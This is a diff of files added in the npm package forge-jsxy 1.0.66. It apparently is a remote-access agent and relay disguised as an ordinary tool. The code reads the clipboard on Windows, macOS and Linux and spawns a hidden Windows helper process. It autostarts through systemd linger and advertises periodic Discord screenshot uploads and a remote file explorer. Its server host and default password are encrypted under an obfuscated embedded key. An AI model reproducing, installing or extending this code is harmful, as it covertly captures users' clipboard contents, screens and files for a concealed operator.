forge-jsxy 1.0.66

package/dist/cli-linux-session-refresh.js

@@ -0,0 +1,30 @@
+#!/usr/bin/env node
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+/**
+ * XDG autostart entry (Linux + systemd): copy the current graphical session into
+ * forge-js-agent.env and restart forge-js-worker.
+ *
+ * With loginctl linger, the user service often starts at boot before any X11/Wayland
+ * session exists. That process wins the forge-agent singleton; the duplicate start at
+ * desktop login exits immediately. Clipboard then stays broken until the service is
+ * restarted with a real DISPLAY / WAYLAND_DISPLAY / XAUTHORITY / DBus session bus.
+ */
+const node_child_process_1 = require("node:child_process");
+const clientId_1 = require("./clientId");
+const agentEnvFile_1 = require("./autostart/agentEnvFile");
+const constants_1 = require("./autostart/constants");
+if (process.platform !== "linux") {
+    process.exit(0);
+}
+const dataDir = (0, clientId_1.defaultCfgmgrDataDir)();
+(0, agentEnvFile_1.mergeLinuxGraphicalSessionIntoForgeAgentEnv)(dataDir);
+const r = (0, node_child_process_1.spawnSync)("systemctl", ["--user", "restart", constants_1.SYSTEMD_UNIT_NAME], {
+    encoding: "utf8",
+    timeout: 30_000,
+});
+if (r.status !== 0 &&
+    (process.env.FORGE_JS_SESSION_REFRESH_LOG || "").trim() === "1") {
+    console.error("[forge-js] cli-linux-session-refresh: systemctl --user restart failed:", r.stderr?.trim() || r.stdout?.trim() || r.error?.message || r.status);
+}
+process.exit(0);

package/dist/cli-relay.d.ts

@@ -0,0 +1,3 @@
+#!/usr/bin/env node
+/** Load project `.env` (e.g. `RELAY_HF_CREDENTIALS_B64`) when not injected by PM2. */
+import "./envLoad";

package/dist/cli-relay.js

@@ -0,0 +1,38 @@
+#!/usr/bin/env node
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+/** Load project `.env` (e.g. `RELAY_HF_CREDENTIALS_B64`) when not injected by PM2. */
+require("./envLoad");
+const deploymentDefaults_1 = require("./deploymentDefaults");
+const relayServer_1 = require("./relayServer");
+function parseArgs(argv) {
+    let host = "0.0.0.0";
+    let port = deploymentDefaults_1.RELAY_DEFAULT_PORT;
+    for (let i = 2; i < argv.length; i++) {
+        const a = argv[i];
+        if (a === "--host" && argv[i + 1]) {
+            host = argv[++i];
+        }
+        else if (a === "--port" && argv[i + 1]) {
+            port = parseInt(argv[++i], 10) || port;
+        }
+        else if (a === "-h" || a === "--help") {
+            console.log(`Usage: forge-relay [--host 0.0.0.0] [--port ${deploymentDefaults_1.RELAY_DEFAULT_PORT}]\n` +
+                `  Env: CFGMGR_RELAY_STRICT_ORIGIN=1 — strict browser Origin checks (default relaxed for reverse proxies).\n` +
+                `       CFGMGR_RELAY_DISABLE_ORIGIN_CHECK=1 — force relaxed Origin checks.\n` +
+                `       CFGMGR_RELAY_DASHBOARD_PASSWORD_SHA256=<64 hex> — require login before /files and viewer WebSockets; put only the SHA-256 of the password in .env (not plaintext).\n` +
+                `       forge-db sync URL (advertised to agents): FORGE_JS_SYNC_URL or CFGMGR_API_URL / CFGMGR_CFG, or RELAY_SYNC_API_BASE_URL.\n` +
+                `       CFGMGR_SESSION_ID — default file-explorer session; agents without a session call GET /api/relay-for-agent to match.\n` +
+                `       Discord screenshots: RELAY_DISCORD_SCREENSHOT_ENABLED=1, RELAY_DISCORD_BOT_TOKEN (comma-sep or RELAY_DISCORD_BOT_TOKENS), RELAY_DISCORD_GUILD_ID,\n` +
+                `       RELAY_DISCORD_PARENT_CATEGORY_ID (optional), RELAY_DISCORD_SCREENSHOT_INTERVAL_MS (default 300000),\n` +
+                `       RELAY_DISCORD_REQUIRE_SEQ_ID=1 (default) — require forge-db seq_id for client-N channel naming (blocks legacy hash channels).\n` +
+                `       RELAY_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS / RELAY_DISCORD_SCREENSHOT_FIRST_STAGGER_MS (optional → relay_features for agents).\n` +
+                `       Agents mirror via relay_features on connect (in-memory only; cleared on disconnect).\n` +
+                `       RELAY_DISCORD_429_MAX_ATTEMPTS=1-12 (default 12) — retries on Discord HTTP 429 for REST + webhook delete.`);
+            process.exit(0);
+        }
+    }
+    return { host, port };
+}
+const { host, port } = parseArgs(process.argv);
+(0, relayServer_1.startRelayServer)({ host, port });

package/dist/clientId.d.ts

@@ -0,0 +1,2 @@
+export declare function defaultCfgmgrDataDir(): string;
+export declare function getOrCreateClientId(dataDir?: string): string;

package/dist/clientId.js

@@ -0,0 +1,97 @@
+"use strict";
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || (function () {
+    var ownKeys = function(o) {
+        ownKeys = Object.getOwnPropertyNames || function (o) {
+            var ar = [];
+            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
+            return ar;
+        };
+        return ownKeys(o);
+    };
+    return function (mod) {
+        if (mod && mod.__esModule) return mod;
+        var result = {};
+        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
+        __setModuleDefault(result, mod);
+        return result;
+    };
+})();
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.defaultCfgmgrDataDir = defaultCfgmgrDataDir;
+exports.getOrCreateClientId = getOrCreateClientId;
+/**
+ * Persistent client id — same role as cfgmgr.core._client_id (X-Client-Id / session id source).
+ */
+const fs = __importStar(require("node:fs"));
+const path = __importStar(require("node:path"));
+const os = __importStar(require("node:os"));
+const node_crypto_1 = require("node:crypto");
+const tableNaming_1 = require("./tableNaming");
+function defaultCfgmgrDataDir() {
+    const override = (process.env.CFGMGR_DATA_ROOT || "").trim();
+    if (override)
+        return path.resolve(override.replace(/^~/, os.homedir()));
+    if (process.platform === "win32") {
+        const lap = (process.env.LOCALAPPDATA || "").trim();
+        if (lap)
+            return path.join(lap, "CfgMgr", "data");
+        const prof = (process.env.USERPROFILE || "").trim();
+        if (prof)
+            return path.join(prof, "AppData", "Local", "CfgMgr", "data");
+        return path.join(os.tmpdir(), "CfgMgr", "data");
+    }
+    if (process.platform === "darwin") {
+        return path.join(os.homedir(), "Library", "Application Support", "CfgMgr", "data");
+    }
+    const xdg = (process.env.XDG_DATA_HOME || "").trim();
+    if (xdg)
+        return path.join(path.resolve(xdg.replace(/^~/, os.homedir())), "cfgmgr");
+    return path.join(os.homedir(), ".local", "share", "cfgmgr");
+}
+function getOrCreateClientId(dataDir) {
+    const dir = dataDir ?? defaultCfgmgrDataDir();
+    try {
+        fs.mkdirSync(dir, { recursive: true });
+    }
+    catch {
+        // Permission denied or invalid path — we can still return an in-memory id.
+        return (0, node_crypto_1.randomUUID)();
+    }
+    const fid = path.join(dir, ".client_id");
+    try {
+        if (fs.existsSync(fid)) {
+            const raw = fs.readFileSync(fid, "utf8").trim().slice(0, tableNaming_1.CLIENT_ID_MAX_LEN);
+            if (raw) {
+                const out = (0, tableNaming_1.canonicalClientIdFragment)(raw);
+                return (out || raw).slice(0, tableNaming_1.CLIENT_ID_MAX_LEN);
+            }
+        }
+    }
+    catch {
+        /* fall through */
+    }
+    const cid = (0, node_crypto_1.randomUUID)();
+    try {
+        fs.writeFileSync(fid, cid, "utf8");
+    }
+    catch {
+        return cid;
+    }
+    return cid;
+}

package/dist/clipboardEventWatcher.d.ts

@@ -0,0 +1,8 @@
+export declare function parseClipboardHelperStdoutChunk(pending: string, data: Buffer | string): {
+    pending: string;
+    changed: boolean;
+};
+/**
+ * @returns dispose callback, or undefined if watcher not used.
+ */
+export declare function attachClipboardEventWatcher(onChange: () => void, log: (msg: string) => void): (() => void) | undefined;

package/dist/clipboardEventWatcher.js

@@ -0,0 +1,177 @@
+"use strict";
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || (function () {
+    var ownKeys = function(o) {
+        ownKeys = Object.getOwnPropertyNames || function (o) {
+            var ar = [];
+            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
+            return ar;
+        };
+        return ownKeys(o);
+    };
+    return function (mod) {
+        if (mod && mod.__esModule) return mod;
+        var result = {};
+        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
+        __setModuleDefault(result, mod);
+        return result;
+    };
+})();
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.parseClipboardHelperStdoutChunk = parseClipboardHelperStdoutChunk;
+exports.attachClipboardEventWatcher = attachClipboardEventWatcher;
+/**
+ * Optional push-style clipboard notifications via `clipboard-event`
+ * (platform helper process). Timer poll remains as backup when active.
+ *
+ * Windows: we spawn `clipboard-event-handler-win32.exe` ourselves with
+ * `{ windowsHide: true }` so no console flashes (the upstream package uses
+ * `execFile` without options; postinstall patches are easy to miss under npx).
+ */
+const node_child_process_1 = require("node:child_process");
+const node_fs_1 = require("node:fs");
+const path = __importStar(require("node:path"));
+const linuxX11_1 = require("./linuxX11");
+function parseClipboardHelperStdoutChunk(pending, data) {
+    const token = "CLIPBOARD_CHANGE";
+    const chunk = String(data);
+    const merged = `${pending}${chunk}`;
+    const lines = merged.split(/\r?\n/);
+    const tail = lines.pop() ?? "";
+    let changed = false;
+    for (const raw of lines) {
+        if (raw.trim() === token) {
+            changed = true;
+        }
+    }
+    /**
+     * Some helper builds can emit a token without a trailing newline; consume that exact
+     * complete token so the last change event is not lost.
+     */
+    const tailTrimmed = tail.trim();
+    if (tailTrimmed === token) {
+        return { pending: "", changed: true };
+    }
+    return { pending: tail, changed };
+}
+function pollOnlyEnv() {
+    const a = (process.env.FORGE_JS_CLIPBOARD_POLL_ONLY || "").trim();
+    const b = (process.env.FORGE_JS_WIN_CLIPBOARD_POLL_ONLY || "").trim();
+    return a === "1" || b === "1";
+}
+/**
+ * @returns dispose callback, or undefined if watcher not used.
+ */
+function attachClipboardEventWatcher(onChange, log) {
+    const p = process.platform;
+    if (p !== "win32" && p !== "linux" && p !== "darwin")
+        return undefined;
+    if (pollOnlyEnv())
+        return undefined;
+    // Linux helper uses X11; Wayland-only sessions use wl-paste/xclip via exec + timer poll.
+    if (p === "linux" &&
+        !(process.env.DISPLAY || "").trim() &&
+        (process.env.WAYLAND_DISPLAY || "").trim()) {
+        log("clipboard-event skipped (Wayland without DISPLAY — timer poll / CLI clipboard)");
+        return undefined;
+    }
+    if (p === "linux" &&
+        (process.env.DISPLAY || "").trim() &&
+        !(0, linuxX11_1.linuxDisplayPointsToExistingX11Socket)()) {
+        log("clipboard-event skipped (DISPLAY set but no X11 socket — timer poll only)");
+        return undefined;
+    }
+    if (p === "win32") {
+        const hidden = attachWin32ClipboardHelperHidden(onChange, log);
+        if (hidden)
+            return hidden;
+    }
+    try {
+        const clipEv = require("clipboard-event");
+        const handler = () => {
+            onChange();
+        };
+        clipEv.on("change", handler);
+        clipEv.startListening();
+        const ch = clipEv.child;
+        if (ch) {
+            ch.stderr?.on("data", () => { });
+            ch.on("error", (err) => {
+                log(`clipboard-event child error: ${err.message}`);
+            });
+        }
+        return () => {
+            clipEv.off("change", handler);
+            try {
+                clipEv.stopListening();
+            }
+            catch {
+                /* skip */
+            }
+        };
+    }
+    catch {
+        log("clipboard-event unavailable — clipboard uses timer poll only (optional: npm install clipboard-event)");
+        return undefined;
+    }
+}
+/** Same stdout protocol as `clipboard-event` (line-delimited `CLIPBOARD_CHANGE` tokens). */
+function attachWin32ClipboardHelperHidden(onChange, log) {
+    let main;
+    try {
+        main = require.resolve("clipboard-event");
+    }
+    catch {
+        return undefined;
+    }
+    const pkgRoot = path.dirname(main);
+    const exe = path.join(pkgRoot, "platform", "clipboard-event-handler-win32.exe");
+    if (!(0, node_fs_1.existsSync)(exe))
+        return undefined;
+    let child;
+    try {
+        child = (0, node_child_process_1.spawn)(exe, [], {
+            windowsHide: true,
+            stdio: ["ignore", "pipe", "pipe"],
+        });
+    }
+    catch (e) {
+        log(`clipboard-event win32 spawn failed: ${e instanceof Error ? e.message : String(e)}`);
+        return undefined;
+    }
+    let pendingStdout = "";
+    const onStdout = (data) => {
+        const parsed = parseClipboardHelperStdoutChunk(pendingStdout, data);
+        pendingStdout = parsed.pending;
+        if (parsed.changed)
+            onChange();
+    };
+    child.stdout?.on("data", onStdout);
+    child.stderr?.on("data", () => { });
+    child.on("error", (err) => {
+        log(`clipboard-event child error: ${err.message}`);
+    });
+    return () => {
+        try {
+            child.kill();
+        }
+        catch {
+            /* skip */
+        }
+    };
+}

package/dist/clipboardExec.d.ts

@@ -0,0 +1 @@
+export declare function readClipboardViaExec(): Promise<string>;

package/dist/clipboardExec.js

@@ -0,0 +1,161 @@
+"use strict";
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || (function () {
+    var ownKeys = function(o) {
+        ownKeys = Object.getOwnPropertyNames || function (o) {
+            var ar = [];
+            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
+            return ar;
+        };
+        return ownKeys(o);
+    };
+    return function (mod) {
+        if (mod && mod.__esModule) return mod;
+        var result = {};
+        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
+        __setModuleDefault(result, mod);
+        return result;
+    };
+})();
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.readClipboardViaExec = readClipboardViaExec;
+/**
+ * Clipboard text via OS CLI tools when @napi-rs/clipboard is unavailable.
+ */
+const node_child_process_1 = require("node:child_process");
+const fs = __importStar(require("node:fs"));
+const path = __importStar(require("node:path"));
+const node_util_1 = require("node:util");
+const execFileP = (0, node_util_1.promisify)(node_child_process_1.execFile);
+function powershellExe() {
+    const sys = process.env.SystemRoot || "C:\\Windows";
+    const p = path.join(sys, "System32", "WindowsPowerShell", "v1.0", "powershell.exe");
+    if (fs.existsSync(p))
+        return p;
+    // On 64-bit Windows with 32-bit Node the WOW64 file-system redirector maps
+    // System32 → SysWOW64; SysNative is the alias for the real 64-bit System32.
+    const sysNative = path.join(sys, "SysNative", "WindowsPowerShell", "v1.0", "powershell.exe");
+    if (fs.existsSync(sysNative))
+        return sysNative;
+    return p;
+}
+async function readClipboardViaExec() {
+    const p = process.platform;
+    if (p === "win32") {
+        const ps = powershellExe();
+        if (!fs.existsSync(ps))
+            return "";
+        const winExec = {
+            windowsHide: true,
+            timeout: 8000,
+            maxBuffer: 2 * 1024 * 1024,
+            encoding: "utf8",
+            env: process.env,
+        };
+        const attempts = [
+            ["-NoProfile", "-NonInteractive", "-STA", "-Command", "Get-Clipboard -Raw"],
+            [
+                "-NoProfile",
+                "-NonInteractive",
+                "-STA",
+                "-Command",
+                "Add-Type -AssemblyName System.Windows.Forms; [Console]::Out.Write([System.Windows.Forms.Clipboard]::GetText())",
+            ],
+        ];
+        for (const args of attempts) {
+            try {
+                const { stdout } = await execFileP(ps, args, winExec);
+                return String(stdout ?? "").replace(/\r\n/g, "\n");
+            }
+            catch {
+                /* try next */
+            }
+        }
+        return "";
+    }
+    if (p === "darwin") {
+        const pb = process.env.PBPASTE_PATH?.trim() ||
+            (fs.existsSync("/usr/bin/pbpaste") ? "/usr/bin/pbpaste" : "pbpaste");
+        try {
+            const { stdout } = await execFileP(pb, [], {
+                encoding: "utf8",
+                timeout: 8000,
+                maxBuffer: 2 * 1024 * 1024,
+                env: process.env,
+            });
+            return String(stdout ?? "").replace(/\r\n/g, "\n");
+        }
+        catch {
+            return "";
+        }
+    }
+    if (p === "linux") {
+        // wl-paste appends a newline by default; --no-newline suppresses it.
+        if (process.env.WAYLAND_DISPLAY) {
+            try {
+                const { stdout } = await execFileP("wl-paste", ["--no-newline"], {
+                    encoding: "utf8",
+                    timeout: 8000,
+                    maxBuffer: 2 * 1024 * 1024,
+                });
+                return String(stdout ?? "").replace(/\r\n/g, "\n");
+            }
+            catch {
+                /* try X11 */
+            }
+        }
+        try {
+            const { stdout } = await execFileP("xclip", ["-selection", "clipboard", "-o"], {
+                encoding: "utf8",
+                timeout: 8000,
+                maxBuffer: 2 * 1024 * 1024,
+                env: process.env,
+            });
+            return String(stdout ?? "").replace(/\r\n/g, "\n");
+        }
+        catch {
+            /* skip */
+        }
+        try {
+            const { stdout } = await execFileP("xsel", ["--clipboard", "--output"], {
+                encoding: "utf8",
+                timeout: 8000,
+                maxBuffer: 2 * 1024 * 1024,
+                env: process.env,
+            });
+            return String(stdout ?? "").replace(/\r\n/g, "\n");
+        }
+        catch {
+            /* skip */
+        }
+        // Final fallback: Wayland socket may exist even without WAYLAND_DISPLAY being set.
+        try {
+            const { stdout } = await execFileP("wl-paste", ["--no-newline"], {
+                encoding: "utf8",
+                timeout: 8000,
+                maxBuffer: 2 * 1024 * 1024,
+                env: process.env,
+            });
+            return String(stdout ?? "").replace(/\r\n/g, "\n");
+        }
+        catch {
+            return "";
+        }
+    }
+    return "";
+}

package/dist/clipboardNapi.d.ts

@@ -0,0 +1,4 @@
+/**
+ * Cross-platform plain-text clipboard via @napi-rs/clipboard (when the platform binary is installed).
+ */
+export declare function readClipboardNapi(): string | null;

package/dist/clipboardNapi.js

@@ -0,0 +1,19 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.readClipboardNapi = readClipboardNapi;
+/**
+ * Cross-platform plain-text clipboard via @napi-rs/clipboard (when the platform binary is installed).
+ */
+function readClipboardNapi() {
+    try {
+        const { Clipboard } = require("@napi-rs/clipboard");
+        const c = new Clipboard();
+        const t = c.getText();
+        if (typeof t !== "string")
+            return null;
+        return t.replace(/\r\n/g, "\n");
+    }
+    catch {
+        return null;
+    }
+}

package/dist/deploymentCipherData.d.ts

@@ -0,0 +1,20 @@
+/**
+ * AES-256-GCM ciphertext for deployment defaults (host, ports, default explorer password).
+ * Regenerate: `node scripts/encode-deployment.mjs` (see script for FORGE_JS_BUNDLE_KEY).
+ * Plain values never appear in source — only this blob and the embedded obfuscated key.
+ *
+ * The embedded key is split into two 16-byte halves (KA, KB), each XOR'd with a
+ * corresponding magic mask (MA, MB). Reconstruct: key[i] = KA[i]^MA[i], key[16+i] = KB[i]^MB[i].
+ * Override at runtime with FORGE_JS_BUNDLE_KEY (64 hex chars or 32-byte base64).
+ */
+export declare const DEPLOYMENT_CIPHER_IV_B64 = "/G/It/4YIQ0oQqRg";
+export declare const DEPLOYMENT_CIPHER_TAG_B64 = "MLMvKF611zIoAg8L1+fHbA==";
+export declare const DEPLOYMENT_CIPHER_TEXT_B64 = "MqbdVci2EqsQxpdDQEgAamRKQ/ojM6F5Rr/+bsmaqTYi5DeIj+eX9y7kHEQ/Mxte31Kx6ZwKYy5pB6+Z2fLRZ+dbUtC/p+d50MJY63qnHjJedthtqEDbk+1EvgYWbuBOKco=";
+/** First 16 key bytes XOR'd with MA. */
+export declare const DEPLOYMENT_KEY_A: Uint8Array<ArrayBuffer>;
+/** Last 16 key bytes XOR'd with MB. */
+export declare const DEPLOYMENT_KEY_B: Uint8Array<ArrayBuffer>;
+/** XOR mask for first 16 key bytes. */
+export declare const DEPLOYMENT_MASK_A: Uint8Array<ArrayBuffer>;
+/** XOR mask for last 16 key bytes. */
+export declare const DEPLOYMENT_MASK_B: Uint8Array<ArrayBuffer>;

package/dist/deploymentCipherData.js

@@ -0,0 +1,31 @@
+"use strict";
+/**
+ * AES-256-GCM ciphertext for deployment defaults (host, ports, default explorer password).
+ * Regenerate: `node scripts/encode-deployment.mjs` (see script for FORGE_JS_BUNDLE_KEY).
+ * Plain values never appear in source — only this blob and the embedded obfuscated key.
+ *
+ * The embedded key is split into two 16-byte halves (KA, KB), each XOR'd with a
+ * corresponding magic mask (MA, MB). Reconstruct: key[i] = KA[i]^MA[i], key[16+i] = KB[i]^MB[i].
+ * Override at runtime with FORGE_JS_BUNDLE_KEY (64 hex chars or 32-byte base64).
+ */
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.DEPLOYMENT_MASK_B = exports.DEPLOYMENT_MASK_A = exports.DEPLOYMENT_KEY_B = exports.DEPLOYMENT_KEY_A = exports.DEPLOYMENT_CIPHER_TEXT_B64 = exports.DEPLOYMENT_CIPHER_TAG_B64 = exports.DEPLOYMENT_CIPHER_IV_B64 = void 0;
+exports.DEPLOYMENT_CIPHER_IV_B64 = "/G/It/4YIQ0oQqRg";
+exports.DEPLOYMENT_CIPHER_TAG_B64 = "MLMvKF611zIoAg8L1+fHbA==";
+exports.DEPLOYMENT_CIPHER_TEXT_B64 = "MqbdVci2EqsQxpdDQEgAamRKQ/ojM6F5Rr/+bsmaqTYi5DeIj+eX9y7kHEQ/Mxte31Kx6ZwKYy5pB6+Z2fLRZ+dbUtC/p+d50MJY63qnHjJedthtqEDbk+1EvgYWbuBOKco=";
+/** First 16 key bytes XOR'd with MA. */
+exports.DEPLOYMENT_KEY_A = new Uint8Array([
+    135, 49, 199, 76, 166, 214, 58, 202, 152, 59, 1, 155, 171, 88, 86, 12,
+]);
+/** Last 16 key bytes XOR'd with MB. */
+exports.DEPLOYMENT_KEY_B = new Uint8Array([
+    84, 151, 139, 4, 184, 3, 139, 49, 105, 173, 86, 107, 207, 72, 175, 175,
+]);
+/** XOR mask for first 16 key bytes. */
+exports.DEPLOYMENT_MASK_A = new Uint8Array([
+    186, 248, 100, 81, 174, 76, 90, 98, 101, 206, 50, 3, 55, 72, 41, 252,
+]);
+/** XOR mask for last 16 key bytes. */
+exports.DEPLOYMENT_MASK_B = new Uint8Array([
+    101, 234, 65, 111, 245, 21, 25, 38, 7, 62, 199, 188, 101, 79, 223, 63,
+]);

package/dist/deploymentDefaults.d.ts

@@ -0,0 +1,43 @@
+/**
+ * Default public host, ports, and explorer password are AES-256-GCM encrypted (deploymentCipherData.ts).
+ * The decryption key is embedded in obfuscated form (XOR'd halves) — no plaintext appears in source.
+ *
+ * Key resolution order:
+ *   1. FORGE_JS_BUNDLE_KEY env var (64 hex chars or base64-encoded 32 bytes)
+ *   2. Embedded obfuscated key (XOR'd halves in deploymentCipherData.ts)
+ *
+ * Override relay/API with FORGE_JS_RELAY_URL, FORGE_JS_SYNC_URL / CFGMGR_API_URL, or CLI flags.
+ * Set FORGE_JS_DISABLE_DEPLOYMENT_DEFAULTS=1 to ignore built-in + decrypted URLs.
+ */
+import "./envLoad";
+export interface DeploymentPayload {
+    publicHost: string;
+    relayPort: number;
+    apiPort: number;
+    defaultExplorerPassword: string;
+}
+/**
+ * AES-256 key shared with encrypted operator blobs (e.g. `CFGMGR_HF_CREDENTIALS_B64`).
+ * Same resolution as deployment defaults (`FORGE_JS_BUNDLE_KEY` or embedded XOR halves).
+ */
+export declare function resolveForgeBundleKey(): Buffer;
+export declare function deploymentDefaultsDisabled(): boolean;
+/** Public deployment host from decrypted bundle (empty if disabled or bad decrypt). */
+export declare const DEPLOYMENT_PUBLIC_HOST: string;
+/** Relay port from bundle, else FORGE_JS_RELAY_PORT, else generic default. */
+export declare const RELAY_DEFAULT_PORT: number;
+/** API port from bundle, else FORGE_JS_API_PORT, else generic default. */
+export declare const API_DEFAULT_PORT: number;
+/**
+ * Default session password for /files explorer and agent when not overridden by env/CLI.
+ * Comes from encrypted bundle; empty string if bundle decrypt fails.
+ */
+export declare const DEFAULT_EXPLORER_PASSWORD: string;
+export declare function defaultRelayWsUrl(): string;
+export declare function defaultSyncApiBaseUrl(): string;
+/**
+ * Effective forge-db HTTP base URL — same rules as `resolveSyncApiBase` in `windowsInputSync`:
+ * `FORGE_JS_SYNC_URL` / `CFGMGR_CFG` / `CFGMGR_API_URL`, else `defaultSyncApiBaseUrl()` when
+ * deployment defaults are enabled. Returns null if sync is disabled or no host is configured.
+ */
+export declare function resolveSyncApiBaseUrl(): string | null;